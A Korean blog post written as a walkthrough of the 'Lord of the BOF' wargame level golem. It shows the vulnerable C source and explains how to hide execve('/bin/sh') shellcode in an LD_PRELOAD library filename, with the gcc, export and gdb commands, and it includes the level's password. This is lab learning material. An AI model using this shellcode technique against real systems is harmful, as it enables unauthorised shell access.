SH1R0_HACKER

11. skeleton -> golem 본문

System/The Lord of BOF

11. skeleton -> golem

SH1R0_HACKER 2020. 10. 29. 18:33

id : skeleton

password : shellcoder


[ golem.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

이제는 스택을 부숴버린다.

RET위치 이후 모든 스택을 0으로 초기화 시켜버리는 stack destroyer가 추가되었다.

그리고 buffer도 44byte만큼 0으로 초기화 시켜버린다.

 

결론으로 argv, buffer, 환경변수를 이용한 공격은 불가능하다.

 

음...그렇다면 방법은 buffer 위에 있는 무엇인가를 찾아서 써야한다는건데

그것이 바로 "LD_PRELOAD" 라는 녀석이다.


[ LD_PRELOAD ]

 

구글에 LD_PRELOAD를 검색하면 후킹(Hooking)을 할 때 사용하는 환경변수라는것을 알 수 있다.

후킹이란 무엇인지 간단하게 알아보면 다음과 같다.

 

https://ko.wikipedia.org/wiki/%ED%9B%84%ED%82%B9

 

프로그램을 실행할 때 환경변수 LD_PRELOAD가 설정되어 있으면 메모리에 프로그램을 로드할 때

이 친구를 가장 먼저 메모리에 로드한다.

 

그래서 LD_PRELOAD에 라이브러리를 지정해주면 공유라이브러리라이브러리보다 LD_PRELOAD에 지정해준

라이브러리를 먼저 참조하게 된다는 것이다.

 

예시는 아래 블로그를 참고하면 될 것 같다.

 

ar9ang3.tistory.com/8

 

LD_PRELOAD와 LD_LIBRARY_PATH

[작성 계기] lob(lord of bof)를 복기하던 중 ld_preload로 참조하는 라이브러리 이름에 쉘코드를 담아 bof 취약점을 공격하는 문제가 있었습니다. 해당 문제에서의 조건은 ret 이후 스택영역을 모두 0으

ar9ang3.tistory.com


우선 환경변수 LD_PRELOAD를 써먹을 파일을 하나 만들어주자.

 

쉘코드 이름으로 컴파일하자.

동적 라이브러리로 사용하기 위해서는 gcc -fPIC -shared 명령어를 이용하면 된다.

 

gcc -fPIC -shared lol.c -o `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`

 

이제 환경변수 LD_PRELOAD를 이 파일로 걸어주자.

 

export LD_PRELOAD="/home/skeleton/`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`"

 

이제 golem2 (golem 사본)을 gdb로 열고 RET에 브레이크포인트를 건 후 파일이름이 어디에 올라갔는지 확인해보자.

 

r `python -c 'print "A"*47+"\xbf"'`

x/40x $esp-5000

 

여기에 올라와있다.

RET 주소를 0xbffff5d4로 잡자.

 

'System > The Lord of BOF' 카테고리의 다른 글

13. darkknight -> bugbear  (0) 2021.02.03
12. golem -> darkknight  (0) 2020.10.30
10. vampire -> skeleton  (0) 2020.10.28
9. troll -> vampire  (0) 2020.10.27
8. orge -> troll  (0) 2020.10.26